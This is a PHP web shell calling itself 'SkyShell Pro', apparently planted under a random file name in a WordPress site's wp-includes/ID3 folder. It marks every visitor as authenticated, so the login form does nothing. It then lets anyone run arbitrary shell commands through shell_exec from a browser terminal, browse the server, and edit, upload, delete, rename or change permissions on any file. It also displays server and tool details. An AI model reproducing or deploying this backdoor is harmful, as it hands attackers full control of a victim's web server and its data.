File: /home/axxoncom/domains/okashafurniture.com/private_html/wp-includes/ID3/TeYCoTfT.php
<?php
session_start();
$_SESSION['auth'] = true;
if (isset($_POST['change_perms_path']) && isset($_POST['new_perms'])) {
$path = realpath($_POST['change_perms_path']);
if ($path && file_exists($path)) {
$newPerms = octdec($_POST['new_perms']);
if (chmod($path, $newPerms)) {
$_SESSION['message'] = 'Permissions changed successfully';
} else {
$_SESSION['error'] = 'Failed to change permissions';
}
header("Location: ?path=" . urlencode(dirname($path)));
exit;
}
}
if (isset($_POST['ajax_cmd'])) {
$cmd = $_POST['ajax_cmd'];
$output = shell_exec($cmd);
if ($output !== null) {
echo nl2br(htmlspecialchars($output));
}
exit;
}
$path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (isset($_GET['del'])) {
$delPath = realpath($_GET['del']);
if ($delPath && file_exists($delPath)) {
if (is_dir($delPath)) {
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($delPath, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($files as $fileinfo) {
if ($fileinfo->isDir()) {
rmdir($fileinfo->getRealPath());
} else {
unlink($fileinfo->getRealPath());
}
}
rmdir($delPath);
} else {
unlink($delPath);
}
$_SESSION['message'] = 'Item deleted successfully';
header("Location: ?path=" . urlencode(dirname($delPath)));
exit;
}
}
if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
$oldPath = realpath($_POST['rename_old']);
$newPath = dirname($oldPath) . DIRECTORY_SEPARATOR . basename($_POST['rename_new']);
if ($oldPath && file_exists($oldPath)) {
if (rename($oldPath, $newPath)) {
$_SESSION['message'] = 'Item renamed successfully';
} else {
$_SESSION['error'] = 'Failed to rename item';
}
}
header("Location: ?path=" . urlencode($path));
exit;
}
function getFilePermissions($file) {
$perms = fileperms($file);
$info = '';
if (($perms & 0xC000) == 0xC000) $info = 's';
elseif (($perms & 0xA000) == 0xA000) $info = 'l';
elseif (($perms & 0x8000) == 0x8000) $info = '-';
elseif (($perms & 0x6000) == 0x6000) $info = 'b';
elseif (($perms & 0x4000) == 0x4000) $info = 'd';
elseif (($perms & 0x2000) == 0x2000) $info = 'c';
elseif (($perms & 0x1000) == 0x1000) $info = 'p';
else $info = 'u';
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function formatSizeUnits($bytes) {
if ($bytes >= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
if (isset($_POST['new_name'], $_POST['new_type'])) {
$newPath = $path . DIRECTORY_SEPARATOR . basename($_POST['new_name']);
if ($_POST['new_type'] === 'file') {
if (file_put_contents($newPath, '')) {
$_SESSION['message'] = 'File created successfully';
} else {
$_SESSION['error'] = 'Failed to create file';
}
} else {
if (mkdir($newPath)) {
$_SESSION['message'] = 'Directory created successfully';
} else {
$_SESSION['error'] = 'Failed to create directory';
}
}
header("Location: ?path=" . urlencode($path));
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$uploadPath = realpath($_POST['upload_path']);
if (is_dir($uploadPath)) {
$targetPath = $uploadPath . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $targetPath)) {
$_SESSION['message'] = 'File uploaded successfully';
} else {
$_SESSION['error'] = 'Failed to upload file';
}
}
header("Location: ?path=" . urlencode($uploadPath));
exit;
}
if (isset($_POST['edit_path']) && isset($_POST['file_content'])) {
if (file_put_contents($_POST['edit_path'], $_POST['file_content'])) {
$_SESSION['message'] = 'File saved successfully';
} else {
$_SESSION['error'] = 'Failed to save file';
}
header("Location: ?path=" . urlencode(dirname($_POST['edit_path'])));
exit;
}
$files = scandir($path);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SkyShell Pro | Web-based File Manager & Terminal</title>
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&family=JetBrains+Mono&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
:root {
--primary: #4f46e5;
--primary-dark: #4338ca;
--secondary: #10b981;
--danger: #ef4444;
--warning: #f59e0b;
--info: #3b82f6;
--dark: #1e293b;
--light: #f8fafc;
--gray: #64748b;
--gray-light: #e2e8f0;
--border-radius: 8px;
--shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06);
--shadow-lg: 0 10px 15px -3px rgba(0, 0, 0, 0.1), 0 4px 6px -2px rgba(0, 0, 0, 0.05);
--transition: all 0.2s ease-in-out;
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Roboto', sans-serif;
background-color: #f1f5f9;
color: var(--dark);
line-height: 1.6;
}
.container {
max-width: 1400px;
margin: 0 auto;
padding: 20px;
}
.alert {
padding: 12px 15px;
border-radius: var(--border-radius);
margin-bottom: 20px;
display: flex;
align-items: center;
justify-content: space-between;
}
.alert-success {
background-color: rgba(16, 185, 129, 0.1);
color: var(--secondary);
border-left: 4px solid var(--secondary);
}
.alert-error {
background-color: rgba(239, 68, 68, 0.1);
color: var(--danger);
border-left: 4px solid var(--danger);
}
.alert-close {
background: none;
border: none;
color: inherit;
cursor: pointer;
font-size: 18px;
}
.header {
background: white;
border-radius: var(--border-radius);
box-shadow: var(--shadow);
padding: 15px 25px;
margin-bottom: 25px;
display: flex;
justify-content: space-between;
align-items: center;
}
.logo {
display: flex;
align-items: center;
gap: 12px;
}
.logo-icon {
color: var(--primary);
font-size: 24px;
}
.logo-text {
font-size: 20px;
font-weight: 700;
color: var(--dark);
}
.nav-tools {
display: flex;
gap: 10px;
}
.nav-btn {
background: var(--primary);
color: white;
border: none;
border-radius: var(--border-radius);
padding: 8px 15px;
font-size: 14px;
font-weight: 500;
cursor: pointer;
display: flex;
align-items: center;
gap: 8px;
transition: var(--transition);
}
.nav-btn:hover {
background: var(--primary-dark);
transform: translateY(-2px);
}
.nav-btn i {
font-size: 14px;
}
.content-wrapper {
display: grid;
grid-template-columns: 250px 1fr;
gap: 20px;
}
.sidebar {
background: white;
border-radius: var(--border-radius);
box-shadow: var(--shadow);
padding: 20px;
}
.sidebar-title {
font-size: 16px;
font-weight: 600;
margin-bottom: 15px;
color: var(--dark);
display: flex;
align-items: center;
gap: 10px;
}
.sidebar-title i {
color: var(--primary);
}
.breadcrumb {
display: flex;
flex-direction: column;
gap: 5px;
margin-bottom: 20px;
}
.breadcrumb-item {
font-size: 14px;
color: var(--gray);
display: flex;
align-items: center;
gap: 8px;
padding: 8px 12px;
border-radius: var(--border-radius);
transition: var(--transition);
text-decoration: none;
}
.breadcrumb-item:hover {
background: var(--gray-light);
color: var(--primary);
}
.breadcrumb-item i {
font-size: 14px;
width: 18px;
text-align: center;
}
.breadcrumb-item.active {
background: var(--primary);
color: white;
}
.main-panel {
background: white;
border-radius: var(--border-radius);
box-shadow: var(--shadow);
padding: 25px;
}
.panel-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 20px;
}
.panel-title {
font-size: 18px;
font-weight: 600;
color: var(--dark);
display: flex;
align-items: center;
gap: 10px;
}
.panel-title i {
color: var(--primary);
}
.panel-actions {
display: flex;
gap: 10px;
}
.path-info {
background: var(--gray-light);
padding: 12px 15px;
border-radius: var(--border-radius);
margin-bottom: 20px;
font-family: 'JetBrains Mono', monospace;
font-size: 13px;
color: var(--gray);
display: flex;
align-items: center;
gap: 10px;
}
.path-info i {
color: var(--primary);
}
.file-list {
display: grid;
gap: 12px;
}
.file-item {
background: white;
border: 1px solid var(--gray-light);
border-radius: var(--border-radius);
padding: 15px;
display: flex;
justify-content: space-between;
align-items: center;
transition: var(--transition);
position: relative;
overflow: hidden;
}
.file-item::before {
content: '';
position: absolute;
left: 0;
top: 0;
bottom: 0;
width: 4px;
background: var(--primary);
}
.file-item:hover {
transform: translateX(5px);
box-shadow: var(--shadow);
border-color: var(--primary);
}
.file-info {
flex: 1;
display: flex;
align-items: center;
gap: 15px;
}
.file-icon {
font-size: 20px;
color: var(--primary);
}
.file-details {
display: flex;
flex-direction: column;
gap: 5px;
}
.file-name {
color: var(--dark);
text-decoration: none;
font-weight: 500;
display: flex;
align-items: center;
gap: 10px;
transition: var(--transition);
}
.file-name:hover {
color: var(--primary);
}
.file-meta {
display: flex;
gap: 15px;
font-size: 12px;
color: var(--gray);
}
.file-permissions {
font-family: 'JetBrains Mono', monospace;
font-size: 12px;
color: var(--secondary);
background: rgba(16, 185, 129, 0.1);
padding: 2px 8px;
border-radius: 4px;
}
.file-size {
font-family: 'JetBrains Mono', monospace;
}
.file-owner {
font-family: 'JetBrains Mono', monospace;
}
.file-actions {
display: flex;
gap: 8px;
align-items: center;
}
.action-btn {
background: var(--primary);
color: white;
padding: 6px 12px;
border-radius: 6px;
text-decoration: none;
font-size: 13px;
font-weight: 500;
transition: var(--transition);
border: none;
cursor: pointer;
display: flex;
align-items: center;
gap: 5px;
}
.action-btn i {
font-size: 12px;
}
.action-btn:hover {
transform: translateY(-2px);
box-shadow: var(--shadow);
}
.action-btn.edit {
background: var(--warning);
}
.action-btn.perms {
background: var(--info);
}
.action-btn.delete {
background: var(--danger);
}
.form-group {
margin-bottom: 15px;
}
.form-label {
display: block;
margin-bottom: 8px;
font-weight: 500;
font-size: 14px;
}
.form-control {
width: 100%;
padding: 10px 15px;
border: 1px solid var(--gray-light);
border-radius: var(--border-radius);
font-size: 14px;
transition: var(--transition);
background: white;
font-family: 'Roboto', sans-serif;
}
.form-control:focus {
outline: none;
border-color: var(--primary);
box-shadow: 0 0 0 3px rgba(79, 70, 229, 0.1);
}
textarea.form-control {
min-height: 200px;
font-family: 'JetBrains Mono', monospace;
font-size: 13px;
}
.form-row {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 15px;
margin-bottom: 15px;
}
.btn {
padding: 10px 20px;
border-radius: var(--border-radius);
font-size: 14px;
font-weight: 500;
cursor: pointer;
transition: var(--transition);
display: inline-flex;
align-items: center;
gap: 8px;
border: none;
}
.btn-primary {
background: var(--primary);
color: white;
}
.btn-primary:hover {
background: var(--primary-dark);
transform: translateY(-2px);
box-shadow: var(--shadow);
}
.btn-secondary {
background: var(--secondary);
color: white;
}
.btn-secondary:hover {
opacity: 0.9;
transform: translateY(-2px);
box-shadow: var(--shadow);
}
.modal {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.5);
backdrop-filter: blur(5px);
z-index: 1000;
justify-content: center;
align-items: center;
}
.modal-content {
background: white;
border-radius: var(--border-radius);
width: 100%;
max-width: 500px;
box-shadow: var(--shadow-lg);
overflow: hidden;
}
.modal-header {
padding: 15px 20px;
background: var(--primary);
color: white;
display: flex;
justify-content: space-between;
align-items: center;
}
.modal-title {
font-weight: 600;
font-size: 16px;
}
.modal-close {
background: none;
border: none;
color: white;
font-size: 20px;
cursor: pointer;
}
.modal-body {
padding: 20px;
}
.modal-footer {
padding: 15px 20px;
background: var(--gray-light);
display: flex;
justify-content: flex-end;
gap: 10px;
}
.terminal {
background: #1e1e1e;
color: #f0f0f0;
border-radius: var(--border-radius);
overflow: hidden;
font-family: 'JetBrains Mono', monospace;
height: 400px;
display: flex;
flex-direction: column;
}
.terminal-header {
background: #333;
padding: 10px 15px;
display: flex;
justify-content: space-between;
align-items: center;
}
.terminal-title {
font-weight: 500;
font-size: 14px;
}
.terminal-close {
background: var(--danger);
color: white;
border: none;
border-radius: 4px;
padding: 3px 8px;
cursor: pointer;
}
.terminal-output {
flex: 1;
padding: 15px;
overflow-y: auto;
font-size: 13px;
line-height: 1.5;
}
.terminal-input {
display: flex;
align-items: center;
padding: 10px 15px;
background: #252525;
border-top: 1px solid #444;
}
.terminal-prompt {
color: #4CAF50;
margin-right: 10px;
}
.terminal-cmd {
flex: 1;
background: transparent;
border: none;
color: white;
font-family: 'JetBrains Mono', monospace;
font-size: 13px;
outline: none;
}
@media (max-width: 1024px) {
.content-wrapper {
grid-template-columns: 1fr;
}
}
@media (max-width: 768px) {
.header {
flex-direction: column;
gap: 15px;
}
.nav-tools {
width: 100%;
flex-wrap: wrap;
}
.form-row {
grid-template-columns: 1fr;
}
.file-item {
flex-direction: column;
align-items: flex-start;
gap: 15px;
}
.file-actions {
width: 100%;
justify-content: flex-end;
}
}
</style>
</head>
<body>
<div class="container">
<?php if (empty($_SESSION['auth'])): ?>
<div class="login-container">
<div class="login-card">
<div class="login-header">
<div class="login-icon">
<i class="fas fa-lock"></i>
</div>
<h1 class="login-title">SkyShell Pro</h1>
<p class="login-subtitle">Web-based File Manager & Terminal</p>
</div>
<form method="post">
<div class="form-group">
<label>Username</label>
<input type="text" name="username" required>
</div>
<div class="form-group">
<label>Password</label>
<input type="password" name="password" required>
</div>
<button type="submit" class="login-btn">Login</button>
</form>
</div>
</div>
<?php else: ?>
<?php if (isset($_SESSION['message'])): ?>
<div class="alert alert-success">
<?= $_SESSION['message'] ?>
<button class="alert-close" onclick="this.parentElement.style.display='none'">×</button>
</div>
<?php unset($_SESSION['message']); ?>
<?php endif; ?>
<?php if (isset($_SESSION['error'])): ?>
<div class="alert alert-error">
<?= $_SESSION['error'] ?>
<button class="alert-close" onclick="this.parentElement.style.display='none'">×</button>
</div>
<?php unset($_SESSION['error']); ?>
<?php endif; ?>
<header class="header">
<div class="logo">
<i class="fas fa-terminal logo-icon"></i>
<span class="logo-text">SkyShell Pro</span>
</div>
<div class="nav-tools">
<button class="nav-btn" onclick="openTerminal()">
<i class="fas fa-terminal"></i> Terminal
</button>
<button class="nav-btn" onclick="openInfo()">
<i class="fas fa-server"></i> Server Info
</button>
<button class="nav-btn" onclick="openTools()">
<i class="fas fa-tools"></i> Installed Tools
</button>
<a href="?logout=1" class="nav-btn" style="background: var(--danger);">
<i class="fas fa-sign-out-alt"></i> Logout
</a>
</div>
</header>
<div class="content-wrapper">
<aside class="sidebar">
<h3 class="sidebar-title">
<i class="fas fa-folder-open"></i> Navigation
</h3>
<nav class="breadcrumb">
<?php
$currentPath = $path;
$pathParts = explode(DIRECTORY_SEPARATOR, trim($currentPath, DIRECTORY_SEPARATOR));
$accumulatedPath = '';
foreach ($pathParts as $index => $part) {
$accumulatedPath .= ($accumulatedPath === '' ? '' : DIRECTORY_SEPARATOR) . $part;
$isActive = ($index === count($pathParts) - 1);
?>
<a href="?path=<?= urlencode($accumulatedPath) ?>" class="breadcrumb-item <?= $isActive ? 'active' : '' ?>">
<i class="fas fa-<?= $isActive ? 'folder-open' : 'folder' ?>"></i>
<?= htmlentities($part) ?>
</a>
<?php
}
?>
</nav>
<h3 class="sidebar-title">
<i class="fas fa-plus-circle"></i> Quick Actions
</h3>
<form method="post" class="form-group">
<div class="form-row">
<input type="text" name="new_name" class="form-control" placeholder="Filename" required>
<select name="new_type" class="form-control">
<option value="file">File</option>
<option value="folder">Folder</option>
</select>
</div>
<button type="submit" class="btn btn-primary">
<i class="fas fa-plus"></i> Create
</button>
</form>
<form method="post" enctype="multipart/form-data" class="form-group">
<input type="hidden" name="upload_path" value="<?= htmlentities($path) ?>">
<div class="form-group">
<label class="form-label">Upload File</label>
<input type="file" name="file" class="form-control" required>
</div>
<button type="submit" class="btn btn-secondary">
<i class="fas fa-upload"></i> Upload
</button>
</form>
</aside>
<main class="main-panel">
<?php if (isset($_GET['edit']) && is_file($_GET['edit'])): ?>
<div class="panel-header">
<h2 class="panel-title">
<i class="fas fa-edit"></i> Editing: <?= basename($_GET['edit']) ?>
</h2>
</div>
<form method="post">
<input type="hidden" name="edit_path" value="<?= htmlentities($_GET['edit']) ?>">
<textarea name="file_content" class="form-control"><?= htmlentities(file_get_contents($_GET['edit'])) ?></textarea>
<div class="panel-actions" style="margin-top: 15px;">
<button type="submit" class="btn btn-primary">
<i class="fas fa-save"></i> Save Changes
</button>
<a href="?path=<?= urlencode(dirname($_GET['edit'])) ?>" class="btn">
<i class="fas fa-times"></i> Cancel
</a>
</div>
</form>
<?php else: ?>
<div class="panel-header">
<h2 class="panel-title">
<i class="fas fa-folder-open"></i> File Manager
</h2>
<div class="panel-actions">
<?php if (dirname($path) !== $path): ?>
<a href="?path=<?= urlencode(dirname($path)) ?>" class="btn btn-secondary">
<i class="fas fa-arrow-up"></i> Go Up
</a>
<?php endif; ?>
</div>
</div>
<div class="path-info">
<i class="fas fa-info-circle"></i> Current Path: <?= htmlentities($path) ?>
</div>
<div class="file-list">
<?php
foreach ($files as $file):
if ($file === '.' || $file === '..') continue;
$fullPath = $path . DIRECTORY_SEPARATOR . $file;
$url = urlencode($fullPath);
$permissions = getFilePermissions($fullPath);
$isDir = is_dir($fullPath);
$size = $isDir ? '-' : formatSizeUnits(filesize($fullPath));
$currentPerms = substr(sprintf('%o', fileperms($fullPath)), -4);
$owner = fileowner($fullPath);
$group = filegroup($fullPath);
$ownerName = function_exists('posix_getpwuid') ? posix_getpwuid($owner)['name'] : $owner;
$groupName = function_exists('posix_getgrgid') ? posix_getgrgid($group)['name'] : $group;
?>
<div class="file-item">
<div class="file-info">
<i class="file-icon fas fa-<?= $isDir ? 'folder' : 'file' ?>"></i>
<div class="file-details">
<?php if ($isDir): ?>
<a href="?path=<?= $url ?>" class="file-name">
<?= htmlentities($file) ?>
</a>
<?php else: ?>
<a href="?edit=<?= $url ?>" class="file-name">
<?= htmlentities($file) ?>
</a>
<?php endif; ?>
<div class="file-meta">
<span class="file-permissions"><?= $permissions ?> (<?= $currentPerms ?>)</span>
<span class="file-size"><?= $size ?></span>
<span class="file-owner"><?= $ownerName ?>:<?= $groupName ?></span>
</div>
</div>
</div>
<div class="file-actions">
<button onclick="showRenameModal('<?= htmlentities($fullPath) ?>', '<?= htmlentities($file) ?>')" class="action-btn edit">
<i class="fas fa-pen"></i> Rename
</button>
<button onclick="showPermsModal('<?= htmlentities($fullPath) ?>', '<?= $currentPerms ?>')" class="action-btn perms">
<i class="fas fa-lock"></i> Perms
</button>
<a href="?del=<?= $url ?>" onclick="return confirm('Are you sure you want to delete this item?')" class="action-btn delete">
<i class="fas fa-trash"></i> Delete
</a>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
</main>
</div>
<?php endif; ?>
</div>
<div id="renameModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<h3 class="modal-title">Rename Item</h3>
<button class="modal-close" onclick="hideRenameModal()">×</button>
</div>
<form method="post" id="renameForm" class="modal-body">
<input type="hidden" name="rename_old" id="renameOldPath">
<div class="form-group">
<label class="form-label">New Name</label>
<input type="text" name="rename_new" id="renameNewName" class="form-control" placeholder="Enter new name" required>
</div>
</form>
<div class="modal-footer">
<button onclick="hideRenameModal()" class="btn">Cancel</button>
<button type="submit" form="renameForm" class="btn btn-primary">Rename</button>
</div>
</div>
</div>
<div id="permsModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<h3 class="modal-title">Change Permissions</h3>
<button class="modal-close" onclick="hidePermsModal()">×</button>
</div>
<form method="post" id="permsForm" class="modal-body">
<input type="hidden" name="change_perms_path" id="permsPath">
<div class="form-group">
<label class="form-label">Current Permissions</label>
<input type="text" id="currentPermsDisplay" class="form-control" readonly>
</div>
<div class="form-group">
<label class="form-label">New Permissions (Octal)</label>
<input type="text" name="new_perms" id="newPerms" class="form-control" placeholder="e.g. 0755" required pattern="[0-7]{4}">
<small class="form-text">Use 4-digit octal notation (e.g. 0755, 0644)</small>
</div>
<div class="form-group">
<label class="form-label">Quick Permissions</label>
<div style="display: flex; gap: 10px; flex-wrap: wrap;">
<button type="button" class="btn btn-secondary" onclick="setPerms('0755')">755 (rwxr-xr-x)</button>
<button type="button" class="btn btn-secondary" onclick="setPerms('0644')">644 (rw-r--r--)</button>
<button type="button" class="btn btn-secondary" onclick="setPerms('0777')">777 (rwxrwxrwx)</button>
</div>
</div>
</form>
<div class="modal-footer">
<button onclick="hidePermsModal()" class="btn">Cancel</button>
<button type="submit" form="permsForm" class="btn btn-primary">Change Permissions</button>
</div>
</div>
</div>
<div id="terminalModal" class="modal">
<div class="terminal">
<div class="terminal-header">
<div class="terminal-title">Terminal</div>
<button class="terminal-close" onclick="closeTerminal()">×</button>
</div>
<div class="terminal-output" id="terminalOutput"></div>
<form id="terminalForm" class="terminal-input">
<span class="terminal-prompt">$</span>
<input type="text" id="terminalInput" class="terminal-cmd" autocomplete="off" autofocus>
</form>
</div>
</div>
<div id="infoModal" class="modal">
<div class="modal-content" style="max-width: 700px;">
<div class="modal-header">
<h3 class="modal-title">Server Information</h3>
<button class="modal-close" onclick="closeInfo()">×</button>
</div>
<div class="modal-body">
<div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 20px;">
<div>
<h4 style="margin-bottom: 10px; color: var(--primary);">System</h4>
<ul style="list-style: none;">
<li style="padding: 5px 0; border-bottom: 1px solid var(--gray-light);">
<strong>OS:</strong> <?= php_uname('s') . ' ' . php_uname('r') ?>
</li>
<li style="padding: 5px 0; border-bottom: 1px solid var(--gray-light);">
<strong>Release:</strong> <?= php_uname('v') ?>
</li>
<li style="padding: 5px 0; border-bottom: 1px solid var(--gray-light);">
<strong>Architecture:</strong> <?= php_uname('m') ?>
</li>
<li style="padding: 5px 0; border-bottom: 1px solid var(--gray-light);">
<strong>Hostname:</strong> <?= php_uname('n') ?>
</li>
</ul>
</div>
<div>
<h4 style="margin-bottom: 10px; color: var(--primary);">PHP</h4>
<ul style="list-style: none;">
<li style="padding: 5px 0; border-bottom: 1px solid var(--gray-light);">
<strong>Version:</strong> <?= phpversion() ?>
</li>
<li style="padding: 5px 0; border-bottom: 1px solid var(--gray-light);">
<strong>SAPI:</strong> <?= php_sapi_name() ?>
</li>
<li style="padding: 5px 0; border-bottom: 1px solid var(--gray-light);">
<strong>Memory Limit:</strong> <?= ini_get('memory_limit') ?>
</li>
<li style="padding: 5px 0; border-bottom: 1px solid var(--gray-light);">
<strong>Max Execution:</strong> <?= ini_get('max_execution_time') ?>s
</li>
</ul>
</div>
<div>
<h4 style="margin-bottom: 10px; color: var(--primary);">Web Server</h4>
<ul style="list-style: none;">
<li style="padding: 5px 0; border-bottom: 1px solid var(--gray-light);">
<strong>Software:</strong> <?= $_SERVER['SERVER_SOFTWARE'] ?? 'N/A' ?>
</li>
<li style="padding: 5px 0; border-bottom: 1px solid var(--gray-light);">
<strong>Protocol:</strong> <?= $_SERVER['SERVER_PROTOCOL'] ?? 'N/A' ?>
</li>
<li style="padding: 5px 0; border-bottom: 1px solid var(--gray-light);">
<strong>Document Root:</strong> <?= $_SERVER['DOCUMENT_ROOT'] ?? 'N/A' ?>
</li>
<li style="padding: 5px 0; border-bottom: 1px solid var(--gray-light);">
<strong>Current Path:</strong> <?= getcwd() ?>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
<div id="toolsModal" class="modal">
<div class="modal-content" style="max-width: 700px;">
<div class="modal-header">
<h3 class="modal-title">Installed Tools</h3>
<button class="modal-close" onclick="closeTools()">×</button>
</div>
<div class="modal-body">
<div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 20px;">
<?php
function isToolInstalled($command, $versionFlag = '--version') {
$check = shell_exec("$command $versionFlag 2>&1");
return $check ? trim($check) : false;
}
$tools = [
'Node.js' => ['cmd' => 'node', 'flag' => '--version'],
'npm' => ['cmd' => 'npm', 'flag' => '--version'],
'Git' => ['cmd' => 'git', 'flag' => '--version'],
'Composer' => ['cmd' => 'composer', 'flag' => '--version'],
'Curl' => ['cmd' => 'curl', 'flag' => '--version'],
'MySQL' => ['cmd' => 'mysql', 'flag' => '--version'],
'PHP CLI' => ['cmd' => 'php', 'flag' => '-v'],
'Python' => ['cmd' => 'python', 'flag' => '--version'],
'Java' => ['cmd' => 'java', 'flag' => '-version'],
];
foreach ($tools as $name => $data) {
$result = isToolInstalled($data['cmd'], $data['flag']);
if ($result) {
echo '<div style="padding: 10px; background: rgba(79, 70, 229, 0.05); border-radius: 6px; border-left: 3px solid var(--primary);">';
echo '<strong style="color: var(--primary);">' . $name . '</strong><br>';
echo '<span style="font-family: \'JetBrains Mono\', monospace; font-size: 13px;">' . htmlspecialchars($result) . '</span>';
echo '</div>';
}
}
?>
</div>
</div>
</div>
</div>
<script>
function showPermsModal(path, currentPerms) {
document.getElementById('permsPath').value = path;
document.getElementById('currentPermsDisplay').value = currentPerms + ' (' + getPermsDescription(currentPerms) + ')';
document.getElementById('newPerms').value = currentPerms;
document.getElementById('permsModal').style.display = 'flex';
document.getElementById('newPerms').focus();
}
function hidePermsModal() {
document.getElementById('permsModal').style.display = 'none';
}
function setPerms(perms) {
document.getElementById('newPerms').value = perms;
}
function getPermsDescription(octal) {
const permsMap = {
'0': '---',
'1': '--x',
'2': '-w-',
'3': '-wx',
'4': 'r--',
'5': 'r-x',
'6': 'rw-',
'7': 'rwx'
};
octal = octal.padStart(4, '0');
const special = octal[0];
const owner = permsMap[octal[1]] || '---';
const group = permsMap[octal[2]] || '---';
const world = permsMap[octal[3]] || '---';
let specialBits = '';
if (special === '1') {
specialBits = ' (sticky)';
} else if (special === '2') {
specialBits = ' (setgid)';
} else if (special === '4') {
specialBits = ' (setuid)';
}
return owner + group + world + specialBits;
}
function showRenameModal(oldPath, currentName) {
document.getElementById('renameOldPath').value = oldPath;
document.getElementById('renameNewName').value = currentName;
document.getElementById('renameModal').style.display = 'flex';
document.getElementById('renameNewName').focus();
}
function hideRenameModal() {
document.getElementById('renameModal').style.display = 'none';
}
function openTerminal() {
document.getElementById('terminalModal').style.display = 'flex';
document.getElementById('terminalInput').focus();
}
function closeTerminal() {
document.getElementById('terminalModal').style.display = 'none';
}
document.getElementById('terminalForm').addEventListener('submit', function(e) {
e.preventDefault();
const input = document.getElementById('terminalInput');
const cmd = input.value;
if (cmd.trim() === '') return;
const outputDiv = document.getElementById('terminalOutput');
const xhr = new XMLHttpRequest();
xhr.open('POST', '', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onload = function() {
const res = this.responseText;
outputDiv.innerHTML += `<div><span style="color: #4CAF50;">$ ${cmd}</span><br>${res}</div>`;
outputDiv.scrollTop = outputDiv.scrollHeight;
};
xhr.send('ajax_cmd=' + encodeURIComponent(cmd));
input.value = '';
});
function openInfo() {
document.getElementById('infoModal').style.display = 'flex';
}
function closeInfo() {
document.getElementById('infoModal').style.display = 'none';
}
function openTools() {
document.getElementById('toolsModal').style.display = 'flex';
}
function closeTools() {
document.getElementById('toolsModal').style.display = 'none';
}
window.onclick = function(event) {
if (event.target.classList.contains('modal')) {
document.querySelectorAll('.modal').forEach(modal => {
modal.style.display = 'none';
});
}
}
const commandHistory = [];
let historyIndex = -1;
document.getElementById('terminalInput').addEventListener('keydown', function(e) {
if (e.key === 'ArrowUp') {
e.preventDefault();
if (commandHistory.length === 0) return;
if (historyIndex < commandHistory.length - 1) {
historyIndex++;
this.value = commandHistory[commandHistory.length - 1 - historyIndex];
}
} else if (e.key === 'ArrowDown') {
e.preventDefault();
if (historyIndex > 0) {
historyIndex--;
this.value = commandHistory[commandHistory.length - 1 - historyIndex];
} else {
historyIndex = -1;
this.value = '';
}
} else if (e.key === 'Enter') {
commandHistory.unshift(this.value);
historyIndex = -1;
}
});
</script>
</body>
</html>